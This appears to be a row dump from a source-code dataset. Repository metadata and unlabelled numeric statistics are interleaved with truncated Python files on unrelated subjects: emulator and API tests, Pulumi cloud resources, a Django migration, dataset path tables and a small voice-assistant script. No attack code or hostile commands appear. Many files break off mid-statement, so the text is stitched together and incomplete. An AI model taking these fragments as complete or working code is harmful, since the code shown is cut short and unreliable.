parser.... | 76.08 | 1,007 | 0.648265 | 1,450 | 5,706 | 2.469655 | 0.107586 | 0.215303 | 0.139626 | 0.02234 | 0.531137 | 0.519408 | 0.472494 | 0.370288 | 0.363586 | 0.363586 | 0 | 0.292906 | 0.080967 | 5,706 | 74 | 1,008 | 77.108108 | 0.389969 | 0 | 0 | 0.060606 | 1 | 0.060606 | 0.646337 | 0.454434 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030303 | false | 0 | 0.045455 | 0 | 0.090909 | 0.015152 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
da236afc17afda2f1d7125156edba087b5c5424f | 3,550 | py | Python | envi/tests/msp430/icmp.py | rnui2k/vivisect | b7b00f2d03defef28b4b8c912e3a8016e956c5f7 | [
"ECL-2.0",
"Apache-2.0"
] | 716 | 2015-01-01T14:41:11.000Z | 2022-03-28T06:51:50.000Z | envi/tests/msp430/icmp.py | rnui2k/vivisect | b7b00f2d03defef28b4b8c912e3a8016e956c5f7 | [
"ECL-2.0",
"Apache-2.0"
] | 266 | 2015-01-01T15:07:27.000Z | 2022-03-30T15:19:26.000Z | envi/tests/msp430/icmp.py | rnui2k/vivisect | b7b00f2d03defef28b4b8c912e3a8016e956c5f7 | [
"ECL-2.0",
"Apache-2.0"
] | 159 | 2015-01-01T16:19:44.000Z | 2022-03-21T21:55:34.000Z | from envi.archs.msp430.regs import *
checks = [
# CMP
(
'CMP r14, r15 (src == dst)',
{ 'regs': [(REG_R14, 0xaaaa), (REG_R15, 0xaaaa)], 'flags': [(SR_N, 0), (SR_Z, 0), (SR_C, 0), (SR_V, 0)], 'code': "0f9e", 'data': "" },
{ 'regs': [(REG_R14, 0xaaaa), (REG_R15, 0xaaaa)], 'flags': [(SR_N, ... | 61.206897 | 142 | 0.460563 | 541 | 3,550 | 2.80037 | 0.083179 | 0.09901 | 0.132013 | 0.106931 | 0.974257 | 0.974257 | 0.968977 | 0.961716 | 0.951815 | 0.904951 | 0 | 0.140694 | 0.237183 | 3,550 | 57 | 143 | 62.280702 | 0.418759 | 0.002535 | 0 | 0.188679 | 0 | 0 | 0.226116 | 0 | 0 | 0 | 0.066139 | 0 | 0 | 1 | 0 | false | 0 | 0.018868 | 0 | 0.018868 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
da36abbe911f290ae0398962d2a3359f8398661a | 23,533 | py | Python | back_end/tests/post_routes/test_api_create_region_from_embedding.py | gerlichlab/HiCognition | dff022025b7c83732b9510ff5ca8232d30aa5304 | [
"MIT"
] | null | null | null | back_end/tests/post_routes/test_api_create_region_from_embedding.py | gerlichlab/HiCognition | dff022025b7c83732b9510ff5ca8232d30aa5304 | [
"MIT"
] | 5 | 2022-03-31T11:54:12.000Z | 2022-03-31T12:04:29.000Z | back_end/tests/post_routes/test_api_create_region_from_embedding.py | gerlichlab/HiCognition | dff022025b7c83732b9510ff5ca8232d30aa5304 | [
"MIT"
] | null | null | null | """Module with tests realted to creating new regions from local neighborhoods in embeddings."""
import os
import unittest
from unittest.mock import patch
import numpy as np
import pandas as pd
from pandas.testing import assert_frame_equal
from hicognition.test_helpers import LoginTestCase, TempDirTestCase
# add path t... | 39.156406 | 105 | 0.60855 | 2,557 | 23,533 | 5.385217 | 0.084474 | 0.03268 | 0.039506 | 0.037763 | 0.94154 | 0.930283 | 0.910966 | 0.910966 | 0.910966 | 0.90748 | 0 | 0.022792 | 0.295245 | 23,533 | 600 | 106 | 39.221667 | 0.807477 | 0.145583 | 0 | 0.755411 | 0 | 0 | 0.102034 | 0.057996 | 0 | 0 | 0 | 0 | 0.08658 | 1 | 0.036797 | false | 0 | 0.019481 | 0 | 0.060606 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e535d8f26d50df7142e571fac929b7beb060e006 | 2,363 | py | Python | test_fena/v1_13/test_effects.py | Aquafina-water-bottle/Fena | 00a2b1dbc6f8abd968c46c637d6ad30d5fcde919 | [
"MIT"
] | 2 | 2017-07-04T02:27:11.000Z | 2017-07-08T10:39:54.000Z | test_fena/v1_13/test_effects.py | Aquafina-water-bottle/Fena | 00a2b1dbc6f8abd968c46c637d6ad30d5fcde919 | [
"MIT"
] | 6 | 2018-07-07T11:58:15.000Z | 2018-07-07T13:01:49.000Z | test_fena/v1_13/test_effects.py | Aquafina-water-bottle/Fena | 00a2b1dbc6f8abd968c46c637d6ad30d5fcde919 | [
"MIT"
] | 1 | 2017-07-24T23:52:43.000Z | 2017-07-24T23:52:43.000Z | from test_fena.test_common import test_cmd
def test_effects():
test_cmd("effect @a - *", "effect clear @a")
test_cmd("effect @a - saturation", "effect clear @a minecraft:saturation")
test_cmd("effect @a + saturation", "effect give @a minecraft:satura... | 81.482759 | 119 | 0.657639 | 307 | 2,363 | 4.934853 | 0.09772 | 0.110891 | 0.19736 | 0.212541 | 0.912871 | 0.90033 | 0.891089 | 0.821782 | 0.790759 | 0.730693 | 0 | 0.105993 | 0.23741 | 2,363 | 28 | 120 | 84.392857 | 0.734739 | 0 | 0 | 0.08 | 0 | 0 | 0.626746 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | true | 0 | 0.04 | 0 | 0.08 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
e54c269ea060c6831d7eb5564ecec2f8f89074b9 | 22,883 | py | Python | sdk/python/pulumi_datadog/synthetics_global_variable.py | pulumi/pulumi-datadog | dbc3e51b438de20aca4207bf894dbaa5a2db4bca | [
"ECL-2.0",
"Apache-2.0"
] | 10 | 2019-09-17T20:41:19.000Z | 2022-01-07T15:42:07.000Z | sdk/python/pulumi_datadog/synthetics_global_variable.py | pulumi/pulumi-datadog | dbc3e51b438de20aca4207bf894dbaa5a2db4bca | [
"ECL-2.0",
"Apache-2.0"
] | 86 | 2019-07-08T11:47:05.000Z | 2022-03-28T21:02:19.000Z | sdk/python/pulumi_datadog/synthetics_global_variable.py | pulumi/pulumi-datadog | dbc3e51b438de20aca4207bf894dbaa5a2db4bca | [
"ECL-2.0",
"Apache-2.0"
] | 4 | 2019-10-05T10:34:15.000Z | 2021-08-08T04:14:19.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import ... | 43.257089 | 185 | 0.650177 | 2,601 | 22,883 | 5.528258 | 0.06882 | 0.102511 | 0.077891 | 0.0459 | 0.855484 | 0.83455 | 0.824049 | 0.808123 | 0.802907 | 0.791502 | 0 | 0.000755 | 0.247782 | 22,883 | 528 | 186 | 43.339015 | 0.834602 | 0.31093 | 0 | 0.767918 | 1 | 0 | 0.112147 | 0.04026 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16041 | false | 0.003413 | 0.023891 | 0 | 0.279863 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e567c7935ff0569fc5502d165da2ccb9cc066874 | 272 | py | Python | forte/data/__init__.py | huzecong/forte | beae4e923c9a6873b582588972e6ec9919079271 | [
"Apache-2.0"
] | null | null | null | forte/data/__init__.py | huzecong/forte | beae4e923c9a6873b582588972e6ec9919079271 | [
"Apache-2.0"
] | null | null | null | forte/data/__init__.py | huzecong/forte | beae4e923c9a6873b582588972e6ec9919079271 | [
"Apache-2.0"
] | null | null | null | from forte.data import ontology
from forte.data import readers
from forte.data.base_pack import *
from forte.data.data_pack import *
from forte.data.datasets import *
from forte.data.io_utils import *
from forte.data.multi_pack import *
from forte.data.container import *
| 30.222222 | 35 | 0.808824 | 44 | 272 | 4.909091 | 0.295455 | 0.333333 | 0.481481 | 0.439815 | 0.319444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 272 | 8 | 36 | 34 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
e591e6f274fa4315d5534406a4d22ab1abe7e7cc | 2,069 | py | Python | 035_BodyPix/saved_model_to_coreml.py | IgiArdiyanto/PINTO_model_zoo | 9247b56a7dff37f28a8a7822a7ef4dd9adf7234d | [
"MIT"
] | 1,529 | 2019-12-11T13:36:23.000Z | 2022-03-31T18:38:27.000Z | 035_BodyPix/saved_model_to_coreml.py | IgiArdiyanto/PINTO_model_zoo | 9247b56a7dff37f28a8a7822a7ef4dd9adf7234d | [
"MIT"
] | 200 | 2020-01-06T09:24:42.000Z | 2022-03-31T17:29:08.000Z | 035_BodyPix/saved_model_to_coreml.py | IgiArdiyanto/PINTO_model_zoo | 9247b56a7dff37f28a8a7822a7ef4dd9adf7234d | [
"MIT"
] | 288 | 2020-02-21T14:56:02.000Z | 2022-03-30T03:00:35.000Z | import coremltools as ct
def model_convert(model_name, stride_num, H, W):
saved_model_path = f'{model_name}/{stride_num}/saved_model_{H}x{W}'
input = ct.TensorType(name='sub_2', shape=(1, H, W, 3))
mlmodel = ct.convert(saved_model_path, inputs=[input], source='tensorflow')
mlmodel.save(f'{saved_model_p... | 21.778947 | 79 | 0.667956 | 327 | 2,069 | 3.957187 | 0.125382 | 0.2017 | 0.231839 | 0.278207 | 0.829985 | 0.829985 | 0.829985 | 0.829985 | 0.805255 | 0.805255 | 0 | 0.085489 | 0.140648 | 2,069 | 95 | 80 | 21.778947 | 0.642295 | 0.076849 | 0 | 0.910256 | 0 | 0 | 0.14413 | 0.048218 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012821 | false | 0 | 0.012821 | 0 | 0.025641 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
e5cc42d568d9975ef3960914fd49633f8fd72345 | 637 | py | Python | tests/test_shapes.py | biotite-dev/bioview | 7466900d6d659cb9d69a481870f68136a23cacb2 | [
"BSD-3-Clause"
] | 1 | 2020-04-04T09:16:13.000Z | 2020-04-04T09:16:13.000Z | tests/test_shapes.py | biotite-dev/bioview | 7466900d6d659cb9d69a481870f68136a23cacb2 | [
"BSD-3-Clause"
] | null | null | null | tests/test_shapes.py | biotite-dev/bioview | 7466900d6d659cb9d69a481870f68136a23cacb2 | [
"BSD-3-Clause"
] | null | null | null | import pytest
from ammolite import reset, draw_arrows
def test_draw_arrow_uniform():
"""
Draw arrows using the same radius for all arrows.
The radius is taken is example property here,
to test if uniform values are properly arrayfied.
"""
reset()
draw_arrows([(0,0,0), (1,0,1)], [(1,0,0), (... | 28.954545 | 74 | 0.645212 | 106 | 637 | 3.792453 | 0.301887 | 0.049751 | 0.037313 | 0.039801 | 0.761194 | 0.761194 | 0.761194 | 0.761194 | 0.761194 | 0.761194 | 0 | 0.06 | 0.215071 | 637 | 22 | 74 | 28.954545 | 0.744 | 0.456829 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e5e0f635960571b7e5ba40725ff066565089dc45 | 94 | py | Python | sequeender/py/sequeender/__init__.py | songmeixu/sequeender | 1fc66f298e1eabc81c93cc7a0a90085d2baec5c7 | [
"MIT"
] | null | null | null | sequeender/py/sequeender/__init__.py | songmeixu/sequeender | 1fc66f298e1eabc81c93cc7a0a90085d2baec5c7 | [
"MIT"
] | 163 | 2020-07-20T21:24:08.000Z | 2021-08-02T21:32:57.000Z | sequeender/py/sequeender/__init__.py | songmeixu/sequeender | 1fc66f298e1eabc81c93cc7a0a90085d2baec5c7 | [
"MIT"
] | null | null | null | from _k2 import Arc
from .array import *
from .fsa import *
from .fsa_util import str_to_fsa
| 15.666667 | 32 | 0.765957 | 17 | 94 | 4 | 0.529412 | 0.294118 | 0.382353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012987 | 0.180851 | 94 | 5 | 33 | 18.8 | 0.87013 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f912190eecac4797f9fbea7b5083fd312b4f120a | 13,680 | py | Python | tests/test_building_houses.py | YSabarad/monopyly | 0460f2452c83846b6b9e3b234be411e12a86d69c | [
"MIT"
] | 4 | 2015-11-04T21:18:40.000Z | 2020-12-26T21:15:23.000Z | tests/test_building_houses.py | YSabarad/monopyly | 0460f2452c83846b6b9e3b234be411e12a86d69c | [
"MIT"
] | 2 | 2021-08-09T18:19:58.000Z | 2021-08-10T14:44:54.000Z | tests/test_building_houses.py | YSabarad/monopyly | 0460f2452c83846b6b9e3b234be411e12a86d69c | [
"MIT"
] | 6 | 2015-08-01T17:54:17.000Z | 2022-02-28T00:00:21.000Z | from monopyly import *
from testing_utils import *
class PlayerWhoBuildsHouses(DefaultPlayerAI):
'''
A player who builds houses.
'''
def __init__(self, build_instructions=None):
if not build_instructions:
build_instructions = []
self.build_instructions = build_instructions
... | 38.863636 | 89 | 0.710965 | 1,984 | 13,680 | 4.675907 | 0.088206 | 0.065754 | 0.055837 | 0.051741 | 0.804786 | 0.788509 | 0.765549 | 0.750566 | 0.735475 | 0.704754 | 0 | 0.015095 | 0.196126 | 13,680 | 351 | 90 | 38.974359 | 0.828226 | 0.258845 | 0 | 0.721649 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231959 | 1 | 0.06701 | false | 0 | 0.010309 | 0.015464 | 0.103093 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
00810729ac008749e03755f728b47a63bd9c2638 | 161 | py | Python | django_addon/models.py | stefanfoulis/django-addon | da3268616b281476c4220cb2ce2e3c56e29ed0d3 | [
"BSD-3-Clause"
] | null | null | null | django_addon/models.py | stefanfoulis/django-addon | da3268616b281476c4220cb2ce2e3c56e29ed0d3 | [
"BSD-3-Clause"
] | 5 | 2018-05-28T14:05:21.000Z | 2021-06-10T17:22:33.000Z | django_addon/models.py | stefanfoulis/django-addon | da3268616b281476c4220cb2ce2e3c56e29ed0d3 | [
"BSD-3-Clause"
] | null | null | null | #######################
# apply monkeypatches #
#######################
from .monkeypatches import hide_secrets_in_debug_mode
hide_secrets_in_debug_mode.patch()
| 26.833333 | 53 | 0.608696 | 16 | 161 | 5.625 | 0.625 | 0.244444 | 0.288889 | 0.4 | 0.488889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068323 | 161 | 5 | 54 | 32.2 | 0.6 | 0.118012 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
008f66dbf44f873fc9159555080555e8ebb75726 | 92 | py | Python | datasets/__init__.py | mahekvora21/metal_sheet_defect_detection | 0549c20e8f177ba42e3449cca3fe9a15adbca3d6 | [
"RSA-MD"
] | null | null | null | datasets/__init__.py | mahekvora21/metal_sheet_defect_detection | 0549c20e8f177ba42e3449cca3fe9a15adbca3d6 | [
"RSA-MD"
] | null | null | null | datasets/__init__.py | mahekvora21/metal_sheet_defect_detection | 0549c20e8f177ba42e3449cca3fe9a15adbca3d6 | [
"RSA-MD"
] | null | null | null | # from .cls_dataset_factory import make_cls_loader
from .dataset_factory import make_loader
| 30.666667 | 50 | 0.869565 | 14 | 92 | 5.285714 | 0.5 | 0.378378 | 0.540541 | 0.648649 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097826 | 92 | 2 | 51 | 46 | 0.891566 | 0.521739 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
00b188a99cb0f1266d610236246595adf0b706b1 | 33,198 | py | Python | sdk/python/pulumi_aws/fsx/ontap_storage_virtual_machine.py | chivandikwa/pulumi-aws | 19c08bf9dcb90544450ffa4eec7bf6751058fde2 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/fsx/ontap_storage_virtual_machine.py | chivandikwa/pulumi-aws | 19c08bf9dcb90544450ffa4eec7bf6751058fde2 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/fsx/ontap_storage_virtual_machine.py | chivandikwa/pulumi-aws | 19c08bf9dcb90544450ffa4eec7bf6751058fde2 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 53.1168 | 634 | 0.686969 | 3,920 | 33,198 | 5.618367 | 0.072959 | 0.066428 | 0.055303 | 0.044951 | 0.883718 | 0.868325 | 0.849936 | 0.837268 | 0.819061 | 0.808799 | 0 | 0.002514 | 0.221128 | 33,198 | 624 | 635 | 53.201923 | 0.849248 | 0.443732 | 0 | 0.670846 | 1 | 0 | 0.143927 | 0.093811 | 0 | 0 | 0 | 0 | 0 | 1 | 0.163009 | false | 0.08464 | 0.021944 | 0.009404 | 0.285266 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
dadf77fd53a852d52badf720170d7d36524c9082 | 8,769 | py | Python | tests/test_wipe.py | atviriduomenys/spinta | 77a10e201f8cdc63143fce7996fd0898acb1ff58 | [
"MIT"
] | 2 | 2019-03-14T06:41:14.000Z | 2019-03-26T11:48:14.000Z | tests/test_wipe.py | sirex/spinta | 77a10e201f8cdc63143fce7996fd0898acb1ff58 | [
"MIT"
] | 44 | 2019-04-05T15:52:45.000Z | 2022-03-30T07:41:33.000Z | tests/test_wipe.py | sirex/spinta | 77a10e201f8cdc63143fce7996fd0898acb1ff58 | [
"MIT"
] | 1 | 2019-04-01T09:54:27.000Z | 2019-04-01T09:54:27.000Z | from typing import List
from typing import Tuple
import pytest
from spinta.testing.client import TestClient
from spinta.testing.data import listdata
from spinta.testing.utils import get_error_codes
from spinta.utils.schema import NA
def _excluding(
name: str,
value: str,
data: List[Tuple[str, str]],
) -... | 30.768421 | 80 | 0.570304 | 1,019 | 8,769 | 4.750736 | 0.084396 | 0.054534 | 0.10597 | 0.066102 | 0.856021 | 0.850651 | 0.844454 | 0.839289 | 0.833505 | 0.826482 | 0 | 0.007514 | 0.226023 | 8,769 | 284 | 81 | 30.876761 | 0.705761 | 0.070019 | 0 | 0.700935 | 0 | 0 | 0.318366 | 0.149465 | 0 | 0 | 0 | 0 | 0.135514 | 1 | 0.046729 | false | 0 | 0.03271 | 0.004673 | 0.084112 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
dae197006314289360e3ad1934cfe4e861d557c3 | 4,014 | py | Python | housingdata/marketdata/migrations/0005_auto_20211102_1941.py | nsitapara/Realtor | f88fbff585921eadad767b142cdc84976780a9d3 | [
"MIT"
] | null | null | null | housingdata/marketdata/migrations/0005_auto_20211102_1941.py | nsitapara/Realtor | f88fbff585921eadad767b142cdc84976780a9d3 | [
"MIT"
] | null | null | null | housingdata/marketdata/migrations/0005_auto_20211102_1941.py | nsitapara/Realtor | f88fbff585921eadad767b142cdc84976780a9d3 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.9 on 2021-11-03 02:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('marketdata', '0004_alter_housedatapoint_mls'),
]
operations = [
migrations.AlterField(
model_name='housedatapoint',
... | 32.370968 | 58 | 0.553563 | 350 | 4,014 | 6.228571 | 0.188571 | 0.201835 | 0.252294 | 0.292661 | 0.858257 | 0.845413 | 0.823853 | 0.823853 | 0.823853 | 0.823853 | 0 | 0.007076 | 0.331091 | 4,014 | 123 | 59 | 32.634146 | 0.804842 | 0.011211 | 0 | 0.752137 | 1 | 0 | 0.139652 | 0.00731 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.008547 | 0 | 0.034188 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
970ea426847d986640c8c90f9254087f14588394 | 8,763 | py | Python | tuna/datasets.py | kernelmachine/tuna | 7680efa522d0f97c80decb6555c721a413faba33 | [
"Apache-2.0"
] | null | null | null | tuna/datasets.py | kernelmachine/tuna | 7680efa522d0f97c80decb6555c721a413faba33 | [
"Apache-2.0"
] | null | null | null | tuna/datasets.py | kernelmachine/tuna | 7680efa522d0f97c80decb6555c721a413faba33 | [
"Apache-2.0"
] | null | null | null | DATASETS = {
"imdb": {
"train": "s3://suching-dev/final-datasets/imdb/train.jsonl",
"dev": "s3://suching-dev/final-datasets/imdb/dev.jsonl",
"test": "s3://suching-dev/final-datasets/imdb/test.jsonl",
"unlabeled": "s3://suching-dev/final-datasets/imdb/unlabeled.jsonl",
"refere... | 60.020548 | 116 | 0.631861 | 1,102 | 8,763 | 4.937387 | 0.049909 | 0.145561 | 0.194082 | 0.194082 | 0.974453 | 0.964529 | 0.915089 | 0.89377 | 0.780555 | 0.753906 | 0 | 0.021516 | 0.177907 | 8,763 | 145 | 117 | 60.434483 | 0.733759 | 0 | 0 | 0.208333 | 0 | 0.076389 | 0.742896 | 0.639051 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
973a5e2b4028589484d75c1af577587d8b4a2d29 | 3,506 | py | Python | assistant.py | yrzgithub/Voice-Assistant | e9d1c43da4078584ab986dfa0dda74441e56db34 | [
"MIT"
] | null | null | null | assistant.py | yrzgithub/Voice-Assistant | e9d1c43da4078584ab986dfa0dda74441e56db34 | [
"MIT"
] | null | null | null | assistant.py | yrzgithub/Voice-Assistant | e9d1c43da4078584ab986dfa0dda74441e56db34 | [
"MIT"
] | null | null | null | from pyttsx3 import init
from speech_recognition import Recognizer, Microphone
from pywhatkit import playonyt, search
from pyjokes import get_joke
from keyboard import wait
recog = Recognizer()
convertor = init()
voices = convertor.getProperty("voices")
convertor.setProperty("voice", voices[1].id) # female v... | 26.164179 | 75 | 0.591272 | 369 | 3,506 | 5.577236 | 0.238482 | 0.081633 | 0.061224 | 0.044704 | 0.980564 | 0.980564 | 0.980564 | 0.980564 | 0.980564 | 0.980564 | 0 | 0.003239 | 0.295493 | 3,506 | 133 | 76 | 26.360902 | 0.82996 | 0.009983 | 0 | 0.96 | 0 | 0 | 0.153962 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.06 | false | 0 | 0.1 | 0 | 0.16 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9754445b054bb5843085836fcf5fc626bd79145b | 7,074 | py | Python | tests/monday_types/status_type_tests.py | harryrobbins/moncli | af3bc68fb73f24dc978197ae8a45aa665c09b431 | [
"BSD-3-Clause"
] | 40 | 2019-11-22T19:52:18.000Z | 2022-03-26T09:03:10.000Z | tests/monday_types/status_type_tests.py | harryrobbins/moncli | af3bc68fb73f24dc978197ae8a45aa665c09b431 | [
"BSD-3-Clause"
] | 35 | 2019-09-24T22:27:43.000Z | 2022-03-31T19:54:03.000Z | tests/monday_types/status_type_tests.py | harryrobbins/moncli | af3bc68fb73f24dc978197ae8a45aa665c09b431 | [
"BSD-3-Clause"
] | 17 | 2020-04-10T18:55:10.000Z | 2022-03-14T14:45:24.000Z | import json
from schematics.exceptions import ConversionError
from nose.tools import eq_,raises
from enum import Enum
from moncli import column_value as cv
from moncli.enums import ColumnType
from moncli.types import StatusType
# default class and data mapping declaration for common use
class Status(Enum):
ready = ... | 37.036649 | 148 | 0.734379 | 1,019 | 7,074 | 4.705594 | 0.081452 | 0.10219 | 0.05756 | 0.075078 | 0.895725 | 0.888425 | 0.867362 | 0.867362 | 0.853598 | 0.853598 | 0 | 0.010396 | 0.129771 | 7,074 | 191 | 149 | 37.036649 | 0.768519 | 0.034917 | 0 | 0.659574 | 0 | 0 | 0.112141 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.12766 | false | 0.12766 | 0.074468 | 0 | 0.244681 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
976497a4bfca1d72f1be3a3ff270a2d87c9afe34 | 525 | py | Python | eval_mosmed_timm-regnetx_002_GridDropout.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | eval_mosmed_timm-regnetx_002_GridDropout.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
